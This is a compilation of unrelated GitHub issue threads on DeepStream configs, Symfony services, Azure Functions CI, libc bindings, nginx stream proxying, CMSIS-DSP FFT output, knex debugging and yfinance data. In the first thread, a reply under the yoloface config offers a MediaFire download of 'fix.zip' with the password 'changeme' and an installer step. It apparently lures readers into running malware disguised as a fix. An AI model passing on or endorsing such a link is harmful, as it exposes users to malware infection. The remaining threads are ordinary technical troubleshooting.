Unable to get track id when using yoloface as secondary gie

I’m trying to implement yoloface as my secondary gie, I’m getting random track ids for it.

Below is the config file
################################################################################
SPDX-FileCopyrightText: Copyright (c) 2018-2022 NVIDIA CORPORATION & AFFILIATES. All rights reserved.
SPDX-License-Identifier: LicenseRef-NvidiaProprietary

NVIDIA CORPORATION, its affiliates and licensors retain all intellectual
property and proprietary rights in and to this material, related
documentation and any modifications thereto. Any use, reproduction,
disclosure or distribution of this material and related documentation
without an express license agreement from NVIDIA CORPORATION or
its affiliates is strictly prohibited.
################################################################################
application:
enable-perf-measurement: 1
perf-measurement-interval-sec: 5
#gie-kitti-output-dir: streamscl
tiled-display:
enable: 0
rows: 1
columns: 1
width: 1280
height: 720
gpu-id: 0
nvbuf-memory-type: 0
source:
csv-file-path: sources_4.csv
sink0:
enable: 0
#Type - 1=FakeSink 2=EglSink 3=File
type: 2
sync: 0
source-id: 0
gpu-id: 0
nvbuf-memory-type: 0
sink1:
enable: 0
#Type - 1=FakeSink 2=EglSink 3=File 4=UDPSink 5=nvdrmvideosink 6=MsgConvBroker
type: 6
msg-conv-config: dstest5_msgconv_sample_config.yml
#(0): PAYLOAD_DEEPSTREAM - Deepstream schema payload
#(1): PAYLOAD_DEEPSTREAM_MINIMAL - Deepstream schema payload minimal
#(2): PAYLOAD_DEEPSTREAM_PROTOBUF - Deepstream schema protobuf encoded payload
#(256): PAYLOAD_RESERVED - Reserved type
#(257): PAYLOAD_CUSTOM   - Custom schema payload
msg-conv-payload-type: 0
#(0): Create payload using NvdsEventMsgMeta
#(1): New Api to create payload using NvDsFrameMeta
msg-conv-msg2p-new-api: 0
#Frame interval at which payload is generated
msg-conv-frame-interval: 30
#To enable dummy payload
#msg-conv-dummy-payload=1
msg-broker-proto-lib: /opt/nvidia/deepstream/deepstream/lib/libnvds_kafka_proto.so
#Provide your msg-broker-conn-str here
msg-broker-conn-str: localhost;9092;
topic: quickstart-events
#Optional:
#msg-broker-config: /opt/nvidia/deepstream/deepstream/sources/libs/kafka_protocol_adaptor/cfg_kafka.txt
#new-api: 0
#(0) Use message adapter library api's
#(1) Use new msgbroker library api's
sink2:
enable: 1
type: 2
#1=mp4 2=mkv
container: 1
#1=h264 2=h265 3=mpeg4
only SW mpeg4 is supported right now.
codec: 3
sync: 1
bitrate: 2000000
output-file: out.mp4
source-id: 0
sink type = 6 by default creates msg converter + broker.
To use multiple brokers use this group for converter and use
sink type = 6 with disable-msgconv :  1
message-converter:
enable: 0
msg-conv-config: dstest5_msgconv_sample_config.yml
#(0): PAYLOAD_DEEPSTREAM - Deepstream schema payload
#(1): PAYLOAD_DEEPSTREAM_MINIMAL - Deepstream schema payload minimal
#(2): PAYLOAD_DEEPSTREAM_PROTOBUF - Deepstream schema protobuf encoded payload
#(256): PAYLOAD_RESERVED - Reserved type
#(257): PAYLOAD_CUSTOM   - Custom schema payload
msg-conv-payload-type: 0
Name of library having custom implementation.
#msg-conv-msg2p-lib:
Id of component in case only selected message to parse.
#msg-conv-comp-id:
Configure this group to enable cloud message consumer.
message-consumer0:
enable: 0
proto-lib: /opt/nvidia/deepstream/deepstream/lib/libnvds_kafka_proto.so
conn-str: ;
config-file: /opt/nvidia/deepstream/deepstream/sources/libs/kafka_protocol_adaptor/cfg_kafka.txt
subscribe-topic-list: ;;
Use this option if message has sensor name as id instead of index (0,1,2 etc.).
#sensor-list-file: dstest5_msgconv_sample_config.txt
osd:
enable: 1
gpu-id: 0
border-width: 1
text-size: 15
text-color: 1;1;1;1
text-bg-color: 0.3;0.3;0.3;1
font: Arial
show-clock: 0
clock-x-offset: 800
clock-y-offset: 820
clock-text-size: 12
clock-color: 1;0;0;0
nvbuf-memory-type: 0
streammux:
gpu-id: 0
##Boolean property to inform muxer that sources are live
live-source: 0
batch-size: 1
##time out in usec, to wait after the first buffer is available
##to push the batch even if the complete batch is not formed
batched-push-timeout: 40000
Set muxer output width and height
width: 1920
height: 1080
##Enable to maintain aspect ratio wrt source, and allow black borders, works
##along with width, height properties
enable-padding: 0
nvbuf-memory-type: 0
If set to TRUE, system timestamp will be attached as ntp timestamp
If set to FALSE, ntp timestamp from rtspsrc, if available, will be attached
attach-sys-ts-as-ntp: 1
config-file property is mandatory for any gie section.
Other properties are optional and if set will override the properties set in
the infer config file.
primary-gie:
enable: 1
gpu-id: 0
#Required to display the PGIE labels, should be added even when using config-file
#property
batch-size: 1
#Required by the app for OSD, not a plugin property
bbox-border-color0: 1;0;0;1    # Red for class 0
bbox-border-color1: 0;1;0;1    # Green for class 1
bbox-border-color2: 0;0;1;1    # Blue for class 2
bbox-border-color3: 1;1;0;1    # Yellow for class 3
bbox-border-color4: 1;0;1;1    # Magenta for class 4
bbox-border-color5: 0;1;1;1    # Cyan for class 5
interval: 0
#Required by the app for SGIE, when used along with config-file property
gie-unique-id: 1
nvbuf-memory-type: 0
#model-engine-file: /opt/nvidia/deepstream/deepstream-7.0/sources/apps/sample_apps/kadada_cpp/people_classification_final.onnx_b1_gpu0_fp16.engine
#labelfile-path: /opt/nvidia/deepstream/deepstream-7.0/sources/apps/sample_apps/kadada_cpp/labels.txt
config-file: /opt/nvidia/deepstream/deepstream-7.0/sources/apps/sample_apps/kadada_cpp/config_infer_primary.yml
#infer-raw-output-dir: ../../../../../samples/primary_detector_raw_output/
tracker:
enable: 0
For NvDCF and NvDeepSORT tracker, tracker-width and tracker-height must be a multiple of 32, respectively
tracker-width: 960
tracker-height: 544
ll-lib-file: /opt/nvidia/deepstream/deepstream/lib/libnvds_nvmultiobjecttracker.so
ll-config-file required to set different tracker types
ll-config-file: ../../../../../samples/configs/deepstream-app/config_tracker_IOU.yml
ll-config-file: ../../../../../samples/configs/deepstream-app/config_tracker_NvSORT.yml
ll-config-file: ../../../../../samples/configs/deepstream-app/config_tracker_NvDCF_perf.yml
ll-config-file: ../../../../../samples/configs/deepstream-app/config_tracker_NvDCF_accuracy.yml
ll-config-file: ../../../../../samples/configs/deepstream-app/config_tracker_NvDeepSORT.yml
gpu-id: 0
display-tracking-id: 1
secondary-gie0:
enable: 0
gpu-id: 0
gie-unique-id: 4
operate-on-gie-id: 1
operate-on-class-ids: 0
batch-size: 16
config-file: ../../../../../samples/configs/deepstream-app/config_infer_secondary_vehicletypes.yml
labelfile-path: ../../../../../samples/models/Secondary_VehicleTypes/labels.txt
model-engine-file: ../../../../../samples/models/Secondary_VehicleTypes/resnet18_vehicletypenet.etlt_b16_gpu0_int8.engine
secondary-gie1:
enable: 0
gpu-id: 0
gie-unique-id: 5
operate-on-gie-id: 1
operate-on-class-ids: 0
batch-size: 16
config-file: ../../../../../samples/configs/deepstream-app/config_infer_secondary_vehiclemake.yml
labelfile-path: ../../../../../samples/models/Secondary_VehicleMake/labels.txt
model-engine-file: ../../../../../samples/models/Secondary_VehicleMake/resnet18_vehiclemakenet.etlt_b16_gpu0_int8.engine
tests:
file-loop: 0

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Reuse services configuration

I have quite a bunch of entities which share the same configuration. Right now, I would need to copy'n'paste configurations for filters and other calls from one service to another:
    resource.partunit:
        parent:    "api.resource"
        arguments: [ "PartKeepr\PartBundle\Entity\PartUnit" ]
        tags:      [ { name: "api.resource" } ]
        calls:
            -       method:    "initFilters"
                    arguments: [ [<EMAIL_ADDRESS>] ]
            -       method:    "initNormalizationContext"
                    arguments: [ { groups: [ "default" ] } ]
            -       method:    "initDenormalizationContext"
                    arguments:
                        - { groups: [ "default" ] }

    resource.unit:
        parent:    "api.resource"
        arguments: [ "PartKeepr\UnitBundle\Entity\Unit" ]
        tags:      [ { name: "api.resource" } ]
        calls:
            -       method:    "initFilters"
                    arguments: [ [<EMAIL_ADDRESS>] ]
            -       method:    "initNormalizationContext"
                    arguments: [ { groups: [ "default" ] } ]
            -       method:    "initDenormalizationContext"
                    arguments:
                        - { groups: [ "default" ] }

    resource.siprefix:
        parent:    "api.resource"
        arguments: [ "PartKeepr\SiPrefixBundle\Entity\SiPrefix" ]
        tags:      [ { name: "api.resource" } ]
        calls:
            -       method:    "initFilters"
                    arguments: [ [<EMAIL_ADDRESS>] ]
            -       method:    "initNormalizationContext"
                    arguments: [ { groups: [ "default" ] } ]
            -       method:    "initDenormalizationContext"
                    arguments:
                        - { groups: [ "default" ] }

These are only three entities, the project will have 42 entities in total. Is there any way to re-use the "calls" parameters for each service?
As I'm still a newbie to Symfony2, this question might be trivial.

I think what you are looking for is custom resources: https://github.com/dunglas/DunglasApiBundle/blob/master/Resources/doc/resources.md#using-a-custom-resource-class

As I don't know what I should implement in that resource class, I have no idea if that's what I'm looking for. What's a "Resource"? It seems like a very generic term and I'm having trouble grasping what it's used for :(

When your services mapping your entities with configuration like the following:
    resource.product:
        parent:    "api.resource"
        arguments: [ "AppBundle\Entity\Product" ]
        tags:      [ { name: "api.resource" } ]

A default Resource class is registered as service. Custom Resource classes allow to avoid duplicated / too long definitions by populating the resource in raw PHP.


Action runs indefinitely on step Waiting for function app to spin up after app settings change

Hi,  I'm trying to use the Functions Action and it will run indefinitely on this step.  Here is the YAML.

name: .NET Core

on:
  push:
    branches: [ master ]
  pull_request:
    branches: [ master ]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v2
    - name: Setup .NET Core
      uses: actions/setup-dotnet@v1
      with:
        dotnet-version: 3.1.101
    - name: Install dependencies
      run: dotnet restore
    - name: Build
      run: dotnet build --configuration Release --no-restore
    - name: Test
      run: dotnet test --no-restore --verbosity normal
    - name: Upload artifact
      uses<EMAIL_ADDRESS>      with:
        # Artifact name
        name: portalapi
        # Directory containing files to upload
        path: /home/runner/work/portal-api/portal-api/FunctionApp1/bin/Release/netcoreapp3.1/bin/ng6users.api.dll
    - name: Azure Login
      uses: azure/login@v1
      with:
        creds: ${{ secrets.AZURE_AUTH }}
    - name: Azure Functions Action
      uses<EMAIL_ADDRESS>      with:
        # Name of the Azure Function App
        app-name: ghusersapi
        # Path to package or folder. *.zip or a folder to deploy
        package: /home/runner/work/portal-api/portal-api/FunctionApp1/bin/Release/netcoreapp3.1/bin/

Thanks,
Mike

I'm not sure what change fixed it, but I followed the sample and got it working.
https://github.com/Azure/actions-workflow-samples/blob/master/FunctionApp/linux-dotnet-functionapp-on-azure.yml
name: .NET Core

on:
  push:
    branches: [ master ]
  pull_request:
    branches: [ master ]
env:
  AZURE_FUNCTIONAPP_NAME: ghusersapi  # set this to your application's name
  AZURE_FUNCTIONAPP_PACKAGE_PATH: '.'    # set this to the path to your web app project, defaults to the repository root
  DOTNET_VERSION: '3.1.101'              # set this to the dotnet version to use

jobs:
  build-and-deploy:
    runs-on: ubuntu-latest
    steps:
    - name: 'Checkout GitHub Action'
      uses: actions/checkout@master

    - name: Setup DotNet ${{ env.DOTNET_VERSION }} Environment
      uses: actions/setup-dotnet@v1
      with:
        dotnet-version: ${{ env.DOTNET_VERSION }}

    - name: 'Resolve Project Dependencies Using Dotnet'
      shell: bash
      run: |
        pushd './${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}'
        dotnet build --configuration Release --output ./output
        popd
    - name: Azure Login
      uses: azure/login@v1
      with:
        creds: ${{ secrets.AZURE_AUTH }}
    - name: 'Run Azure Functions Action'
      uses: Azure/functions-action@v1
      id: fa
      with:
        app-name: ${{ env.AZURE_FUNCTIONAPP_NAME }}
        package: '${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}/output'


harmonize dirent->d_ino according to posix

POSIX 2004 states that dirent shall include the field d_ino of type ino_t:
http://pubs.opengroup.org/onlinepubs/009695399/basedefs/dirent.h.html
Updated darwin/dragonfly/freebsd and netbsd definitions to met POSIX and make
portable use easier.

motivation see nix-rust.

changing the name of dirent struct's member looks like a breaking change in libc. any Rust program relying on old name will not compile any more.
I am also a bit surprised that travis doesn't complain: a quick look at source code of BSDs show no  d_ino field in dirent:

FreeBSD
NetBSD
DragonFly (here it is present for KERNEL)

Maybe there is a #define somewhere ?
POSIX is only a specification, not all OSs follow it strictly.

I suppose it its a define. However we have not equivalent in Rust. In the current form the definition useless as it is unnecessary inconsistent also operating systems follow POSIX here from the semantics (Somebody just blindly copied the definition from the man pages). I can also work around this in nix in instead.

It should be at least ino_t on all platforms.

I fixed this in nix now. Once the pull request there is merged, I will also close this pull request:
https://github.com/nix-rust/nix/pull/558/commits/6ed79b03262d4b88f8001b762cca414c369e4700#diff-03012aeef26d4c7454d6dc08d0e31312R57

Thanks for the PR! As this is a breaking change we can't merge this at this time, but I'll tag it as such.

:umbrella: The latest upstream changes (presumably #1217) made this pull request unmergeable. Please resolve the merge conflicts.

@Mic92 could you rebase this ?
Also, do you have a link to the headers of each of the OSes this PR modifies? I'd like to check the name of this field in those headers. libc should do what those headers do. Like @semarie says, not all OSes follow POSIX properly, and this library should reflect that (nix doesn't have to do that though).

@gnzlbg I can rebase once, it becomes clear that it will be merged.
I strongly disagree that this crate should use the same names as the underlying libc's. This only makes platform-independent development unnecessary difficult for not good reason.

This only makes platform-independent development unnecessary difficult for not good reason.

The only goal of this crate is to provide raw FFI bindings to the platform APIs "as is". This is particularly important for projects like bindgen, where they currently translate struct field names "as is" from the platform to Rust, and they expect that if the type exists in libc, its fields are named just like in the platform.
If we were to start translating platform API names here because we don't like their names, all C FFI binding generators would need to apply those exact translations to be able to use the libc crate.
If you are looking for a library supporting platform-independent development for unix-like systems, check out the nix crate. That's exactly what its goal is.


fix: reference registry

Description
The fscloud example uses git: as a source reference for CBR. These modules should, where possible, use them the registry a source reference.
Release required?

[x] No release
[ ] Patch release (x.x.X)
[ ] Minor release (x.X.x)
[ ] Major release (X.x.x)

Release notes content
This is, IMHO a doc/example change. It will be available to consume via git and does not require a release because the runtime behaviour is unchanged. Consumers are already referencing the CBR rule from the resigtry, so should already be working to reference the zone from the same module and version.
Run the pipeline
If the CI pipeline doesn't run when you create the PR, the PR requires a user with GitHub collaborators access to run the pipeline.
Run the CI pipeline when the PR is ready for review and you expect tests to pass. Add a comment to the PR with the following text:
/run pipeline

Checklist for reviewers

[ ] If relevant, a test for the change is included or updated with this PR.
[ ] If relevant, documentation for the change is included or updated with this PR.

Merge actions for mergers

When merging, use a relevant conventional commit message that is based on the PR contents and any release notes provided by the PR author. The commit message determines whether a new version of the module is needed, and if so, which semver increment to use (major, minor, or patch).
Merge by using "Squash and merge".

/run pipeline

/run pipeline

:tada: This PR is included in version 1.4.8 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Teamspeak possible behind nginx proxy manager?

Hi i have docker installation for nginx and teamspeak. ts is running on standard port 9987.
for now i have exposed this port on my router but i only want to expose 443 and 80 on my router. nginx should do the rest.
i set up some proxy hosts and they work well but teamspeak uses tcp connection over 9987. stream function of nginx should help me for that but i can't get it running.
do i need to configure something else?

Unfortunately it won't be possible to proxy teamspeak on port 80 or 443. There are some limits how networking and nginx works. HTTP always includes a hosts header which contains the domain being requested, which is how nginx knows where you want to go. Teamspeak uses a proprietary protocol, so nginx just knows it has received a packet on e.g. port 80, but not what domain was requested, what content is transmitted, etc. So nginx would not know where to forward this packet. That's why having multiple http proxies on the same port is possible, but a stream host always needs its own unique port.
You will have to set up a stream host on a port which is NOT 443 or 80, which has your teamspeak server as the target. You will then also have to add a port mapping to your docker-compose file, so the port your stream host listens on is exposed to the host. Then you will have to expose this port in your router as well if your want your teamspeak server to be accessible from the outside.

Hello!
I'm trying to achieve the same. I setuped the Steam but it doesn't seem to work.
Is it possible that Cloudflare is the problem since TS is using UDP port? Do I need to setup something for the host?


Incorrect url present in validation package

What would you like to be added:
There are bunch of incorrect urls pointing to 404 page
Why this is needed:
This will point the users reading docs to correct urls

Can you add which URLs are incorrect.

@bowei urls updated in the description


Retain failed test numbers when using hidepassed by moving passed tests off-screen instead of hiding them

When using the hidepassed option, since an
 is providing test numbers, the original numbers for any failed tests which follow passed tests are lost when
s for passed tests are hidden.
Moving
s for passed tests off the screen instead retains the failed test numbers.
Before:

After:

This is interesting and depends on the user PoV, because it might be strange - even with hidepassed on - to see a list of tests like:
2 - foo
5 - bar
8 - baz

In general, these numbers shouldn't be used as indexes. Even though, this might build a good reference for finding it when disabling the hidepassed option.

#693 is somewhat related. If we land this, we should probably try to apply the same when using the Rerun feature.

If we want to achieve this effect, I strongly recommend we do not use this implementation (no offense, @insin) as it will force a horizontal scrollbar to appear for any consumers with RTL text direction.
Here's a relatively simple alternative that preserves the list numbering as well:
#qunit-tests.hidepass li.running,
#qunit-tests.hidepass li.pass {
  visibility: hidden;
  width:   0px;
  height:  0px;
  margin:  0;
  padding: 0;
  border:  0;
}

You can see it live here:
    http://jsbin.com/socim/1/edit?html,css,js,output

FYI, @insin updated this PR with a 2nd commit to use the CSS styles I recommended.

Squashed and merged, thanks!

I'm sorry, @insin, I forgot to check if you signed the jQuery CLA, would you please sign it?
http://contribute.jquery.org/CLA/

Signed the CLA.

Thank you


Safe on application extensions fix

I've realised that I made a mistake on https://github.com/pointfreeco/swift-nonempty/pull/16, and I've added the APPLICATION_EXTENSION_API_ONLY to the Tests 😅
This is to fix that.

Is this needed for running tests on a device?

This is needed if you import non-empty in an extension
e.g. an iMessage extension

Hey @stephencelis did you by any chance get time to have a look at this? :)

Amazing! Thank you @mbrandonw


Just a question - do you plan to work on this project further?

Hi,
Do you plan to work on this project in future to complete the "To-do" tasks?
I am asking because I have found your code to be quite clean and easy to understamd. I am slowly picking stuff here and there on computer vision and your code for Keras based retinanet got my attentions and ever since I have been looking for more stuff from you.
Thanks
Vijay

Hello, FCOS shares most of its components with RetinaNet, hence I am planning to include FCOS head in my https://github.com/srihari-humbarwadi/retinanet-tensorflow2.x repository. I will probably add it in a couple of months

Hello, FCOS shares most of its components with RetinaNet, hence I am planning to include FCOS head in my https://github.com/srihari-humbarwadi/retinanet-tensorflow2.x repository. I will probably add it in a couple of months

That's fantastic! I am trying to get my head around that project too.
Thanks for for the good work.
I will close this ticket now as it was just a question anmd not an issue.


Clicks bubble up to the body, triggering application behavior

Clicking in ng-inspector can impact the application. Because the panel is in the DOM, clicks inside it bubble up to the document.
This can be undesirable if the application dismisses content when a click bubbles up to the top.
Common examples are dismissing modals, tooltips, dropdowns, etc when a click on the body is detected.
This means when I'm trying to look at the scope tree inside my modal, it goes away whenever I click in the panel. Oops.
Suggest you call e.stopPropagation() at the top level of the ng-inspector widget as a way of preventing this.
Unrelated:
I think ng-inspector is an awesome improvement over batarang in terms of visualizing the scope tree. Don't want you to interpret all these issues as complaints. :)

Submitted PR.

Solved after merging #70.


iOS - password font doesn't match the style

Describe the bug
The font in password  doesn't match other font styles
To Reproduce
Steps to reproduce the behavior:

Launch the app on iOS
Type in a password

Expected behavior
Same as other fonts
Screenshots or videos
Password field

Username field (looks ok)

Fixed by #88


arm_cfft_f64 output not matching Matlab

I'm relatively new to DSP so forgive me if I've missed something obvious.  Currently use pocketfft and I am looking into CMSIS-DSP for a new platform and I can't seem to get the same results, this is with v1.15.0 and v1.16.0
I've created a small C++ project which demonstrates the issue, using -DHOST=ON on a windows machine, it prints out the results from arm_cfft_f64 (as well as pocketfft), I've attached in output.txt, which can be fed into Matlab.
extern "C" {
#include "pocketfft.h"
}
#include "arm_math.h"
#include "arm_const_structs.h"
#include <complex>
#include <cmath>
#include <vector>
#include <fmt/core.h>

int main(int argc, char **) {
    constexpr int kDataSize{256};
    constexpr float64_t kTs = 1.0/kDataSize;
    std::vector<float64_t> times{};

    std::vector<std::complex<float64_t>> pocketfft_data{};
    std::vector<std::complex<float64_t>> arm_data{};
    for(int i = 0; i < kDataSize; i++)
    {
        float64_t t = i * kTs;
        times.push_back(t);
        float64_t real = std::cos(2*M_PI*15*t);
        float64_t imag = 0.0;

        pocketfft_data.emplace_back(real, imag);
        arm_data.emplace_back(real, imag);
    }

    // PocketFFT
    cfft_plan plan = make_cfft_plan(kDataSize);
    cfft_forward(plan, reinterpret_cast<float64_t*>(pocketfft_data.data()), 1.0);
    destroy_cfft_plan(plan);

    fmt::print("\n\npocketFFTResults = [\n");
    for(const auto item : pocketfft_data)
    {
        fmt::print("complex({}, {})\n", item.real(), item.imag());
    }
    fmt::print("];\n");

    // CMSIS-DSP
    arm_cfft_instance_f64 inst{};
    arm_cfft_init_f64(&inst, kDataSize);
    arm_cfft_f64(&inst, reinterpret_cast<float64_t*>(arm_data.data()), 0, 0);

    fmt::print("\n\narmResults = [\n");
    for(const auto item : arm_data)
    {
        fmt::print("complex({}, {})\n", item.real(), item.imag());
    }
    fmt::print("];\n");
}

I've then tried to compare these results in Matlab:
Ts = 1/256;
t = 0:Ts:1-Ts;
S = complex(cos(2*pi*15*t), 0);
Fs = 1/Ts;
n = length(S);
f = (0:n-1)*(Fs/n);
fshift = (-n/2:n/2-1)*(Fs/n);

X = fft(S);
power = abs(X).^2/n;
Y = fftshift(X);
powershift = abs(Y).^2/n;
stem(fshift, powershift, 'DisplayName', 'Matlab');
hold on

% X = pocketFFTResults;
% power = abs(X).^2/n;
% Y = fftshift(X);
% powershift = abs(Y).^2/n;
% stem(fshift, powershift, 'DisplayName', 'PocketFFT');
% hold on

X = armResults;
power = abs(X).^2/n;
Y = fftshift(X);
powershift = abs(Y).^2/n;
stem(fshift, powershift, 'DisplayName', 'ARM DSP');
hold off
title("Double-Sided Amplitude Spectrum of x(t)")
xlabel("Frequency (Hz)")
ylabel("|y|")
grid
legend('-DynamicLegend');

I get the following figure, I've disabled the pocketfft output, but it matches the Matlab:

If I increase kDataSize to 1024 (with arm_cfft_sR_f64_len1024) I get:

Any help would be greatly appreciated.

@adwodon You need to set the bit reverse argument to 1 when calling the FFT. It is set to 0 in your example:
arm_cfft_f64(&inst, reinterpret_cast<float64_t*>(arm_data.data()), 0, 1);

This argument is a bit legacy. There are indeed a few cases when you do FFT -> linear processing -> IFFT where you can avoid doing the bit reversing if the linear processing step is done differently.
But it is such an unfrequent case, that most FFT libraries are always doing the bit reversal.

When I was only comparing the raw output I did try bit reversal, but didn't look at it again when doing the analysis.   It's all working as intended now, thankyou for the explanation, very helpful.


[Random] check if offline and tell the user

figma

tarnas14 commented:
ping something on the internet?
periodically?
could this be a part of healthcheck for containers ?
https://developer.mozilla.org/en-US/docs/Web/API/Navigator/onLine ?

Duplicate of https://github.com/tari-project/tari-launchpad/issues/92


Allow exporting "raw" PNG images from vtex files via CLI Decompiler

When exporting a vtex file to png using the CLI Decompiler via:
.\Decompiler.exe --input input.vtex_c --output output.png

The resulting file is different from using the GUI Viewer and exporting the same file via the Export as is or  Decompile & export option.
I would love to be able to generate the same result from the CLI as with the GUI.
My use case is to compute CDN hashes for CS:GO/CS2 items. For this, you need the "original/raw" PNG image file and compute a SHA1 hash of it. The GUI generates the correct file for this, the CLI doesn't.

Different how?

The file size is different (smaller) via the CLI, thus resulting in a different SHA1 hash of the file. I assume there is some compression used via the CLI?

Can't confirm:
cb807167e46d6ccba13617cc0814778f8dfd51cae9ed11a0cde1a5f1886a0c51  lattice01_color_tga_30ddcc07.vtex_c
dd59abdd7a6886562f1a6ffaf843dc5d226e5c21b51918f20fe2a56c12bb5fb7  gui.png
dd59abdd7a6886562f1a6ffaf843dc5d226e5c21b51918f20fe2a56c12bb5fb7  cli.png

You'll need to be more specific.

Sorry, my bad. Just double-checked and noticed that I used an exported PNG from the CS:GO pak01 for comparison instead of an exported PNG from the CS2 pak01. The results via CLI and GUI are indeed the same, so no issue there.
Do you happen to know whether Valve just changed the PNG input files in CS2, or does this library not restore the "original" PNG files that Valve used as inputs for the vtex files?

https://github.com/SteamDatabase/ValveResourceFormat/blob/master/ValveResourceFormat/Resource/ResourceTypes/Texture.cs#L375
Entire depends on its format. We output pngs but that doesn't mean the vtex had png data stored (view data tab in gui).

Thanks! The format seems to be VTEX_FORMAT_PNG_RGBA8888. Does VRF restore the original input file in that case, or is there some decoding/compression/encoding happening that results in a different output file?

The image is re-encoded through Skia, which does seem wasteful when it's being directly extracted, I created #601 to tackle this.

Got it, thanks for confirming. And thanks for all your awesome work in space!


People for who having problems on Usages (Cannot use import ... / Named exports 'Ed25519Signature2020' not found. ...~ )

Solution is located on bottom of this issue.
If you have problems when you follow the usages for use:
import vc from '@digitalbazaar/vc';

// Required to set up a suite instance with private key
import {Ed25519VerificationKey2020} from
  '@digitalbazaar/ed25519-verification-key-2020';
import {Ed25519Signature2020} from '@digitalbazaar/ed25519-signature-2020';

The problems occured:
Cannot use import statement outside module
(node:17254) Warning: To load an ES module, set "type": "module" in the package.json or use the .mjs extension.
(Use `node --trace-warnings ...` to show where the warning was created)
~/vc-js/index.js:10
import vc from '@digitalbazaar/vc';
^^^^^^

SyntaxError: Cannot use import statement outside a module
    at Object.compileFunction (node:vm:352:18)
    at wrapSafe (node:internal/modules/cjs/loader:1031:15)
    at Module._compile (node:internal/modules/cjs/loader:1065:27)
    at Object.Module._extensions..js (node:internal/modules/cjs/loader:1153:10)
    at Module.load (node:internal/modules/cjs/loader:981:32)
    at Function.Module._load (node:internal/modules/cjs/loader:822:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:81:12)
    at node:internal/main/run_main_module:17:47

Not only for the @digitalbazaar/vc, but also @digitalbazaar/ed25519-signature-2020, @digitalbazaar/ed25519-verifiction-key-2020
Named export '~~' not found.
SyntaxError: Named export 'Ed25519Signature2020' not found. The requested module '@digitalbazaar/ed25519-signature-2020' is a CommonJS module, which may not support all module.exports as named exports.
CommonJS modules can always be imported via the default export, for example using:

import pkg from '@digitalbazaar/ed25519-signature-2020';
const {Ed25519Signature2020} = pkg;

    at ModuleJob._instantiate (node:internal/modules/esm/module_job:124:21)
    at async ModuleJob.run (node:internal/modules/esm/module_job:181:5)
    at async Promise.all (index 0)
    at async ESMLoader.import (node:internal/modules/esm/loader:281:24)
    at async loadESM (node:internal/process/esm_loader:88:5)
    at async handleMainPromise (node:internal/modules/run_main:65:12)

Not only for the @digitalbazaar/ed25519-signature-2020 but also @digital~/vc, @digital~/ed25519-verification~
Solution
Install
$ npm install digitalbazaar/vc --save
$ npm install digitalbazaar/ed25519-verification-key-2020 --save
$ npm install digitalbazaar/ed25519-signature-2020 --save

P.S. You don't have to use --save option
Usage
const vc = require('@digitalbazaar/vc');
const VerificationKey = require('@digitalbazaar/ed25519-verification-key-2020');
// console.log(VerificationKey);
const { Ed25519VerificationKey2020 } = VerificationKey;

const Signature = require('@digitalbazaar/ed25519-signature-2020');
const { Ed25519Signature2020 } = Signature;

...
Do what you want

P.S.  You don't have to add "type": "module" in package.json
P.S.  You don't have to clone this repository, just install it as Install

This issue is quite old and has likely been resolved with new ESM libs. There's also a solution to this issue within it for older libs. Closing.


Ensure consistent convention for contact normals?

Ported from https://github.com/ros-planning/moveit_core/issues/61. It is not clear if this was ever addressed and so this is marked as a question, but a possibly critical one for some collision detections
Previously, FCL was reporting normals that pointed from contact1 -> contact2 for certain types (primitives, I think), and from contact2 -> contact1 for Octomap.
We need to make sure there is a standard (for all collision detectors used through the MoveIt API) for which direction a reported normal points.

Clearly not a critical question after 10+ years unanswered.


fix docker compose. python calls from server works

Python calls from server works fine, docker compose too. One shot deploy


Not working with Angular v1.4.x

There's any chance that this will be useful for any angular  > v1.2.9?
-- EDIT --
My Bad, was an implementation issue

good to know


knex.raw() doesn't print queries when debugging

If I use a knex.raw() statement with a config like: require(knex)({ client: 'pg', debug: true }), then nothing shows up. But if I use the query builder, it shows up. Am I doing something wrong?

var knex = require('knex')({ client: 'pg', debug: true });

return knex.raw('SELECT id FROM users');

Debugging doesn't print anything. However, if I use the builder..

var knex = require('knex')({ client: 'pg', debug: true });

return knex('users').select('id');

I get the expected output in the console.

The only place that SQL queries are debug-logged is here: https://github.com/tgriesser/knex/blob/51ef27bd4fcb538abaa8ecfd001d1d1659aa398f/src/runner.js#L37
It would seem to be a bug that runner.builder._debug is undefined when it's a raw query.

Culprit seems to be here: https://github.com/tgriesser/knex/blob/51ef27bd4fcb538abaa8ecfd001d1d1659aa398f/src/raw.js#L20
Should be client.config.debug instead of client.options.debug.


fix(cyberark_epv): TA requires header

:tada: This PR is included in version 1.46.2-develop.10 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:

:tada: This PR is included in version 1.46.2-develop.10 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


The settings section in full screen has no option to close

Windows Terminal version
1.18.2822.0
Windows build number
10.0.22635.0
Other Software
No response
Steps to reproduce

Press "Alt+Enter" to go into full screen.
Press Ctrl+, To enter the settings tab.
You will notice here is no option to leave the settings

Here is a screenschot

Expected Behavior
A button for Closing the settings window while in full screen.
Actual Behavior
The settings is somewhat stuck , with no applicable options to exit the window.

Couldn't you just press Alt+Enter again?
(BTW, just in case, Ctrl+Shift+W is the key bind to close any tab, including the settings tab.)

Yea I don't really see how this is different from "I fullscreen'd a terminal tab, and now there's no way to close that tab".
That being said, I'd guess that /dup #5677 would be a viable solution to this issue too.


Data inconsistency between yfinance and Yahoo Finance website for old data

Running the code:
import yfinance
yfinance.Ticker("SPY").history(start="2000-03-10", end="2000-03-25", interval="1d")
Returns the following:

Reviewing that same information on Yahoo Finance at this URL clearly shows the prices to be around the $150 mark, rather than the $90-100 mark that is returned by yfinance - for instance, for 20th March 2000, we see:

Note all prices and the Volume appear to be inconsistent.  Any ideas what's going on with this old data?  (For reference, it's causing some issues visualising historical all-time-high information about the market)

I think because for yfinance, the Close is actually the Adj Close. Meanwhile, yahoo finance chart is plotted using Close price instead of Adj Close.


Use babel for locale dependent day/month

https://babel.pocoo.org/en/latest/dates.html

This could certainly be useful. Even just being able to send in a date format string would also be a nice addition without additional dependency. For instance if I just want ISO dates like 2024-05-25 that'd be good to be able to do.


The new version of Adobe software cannot be used.

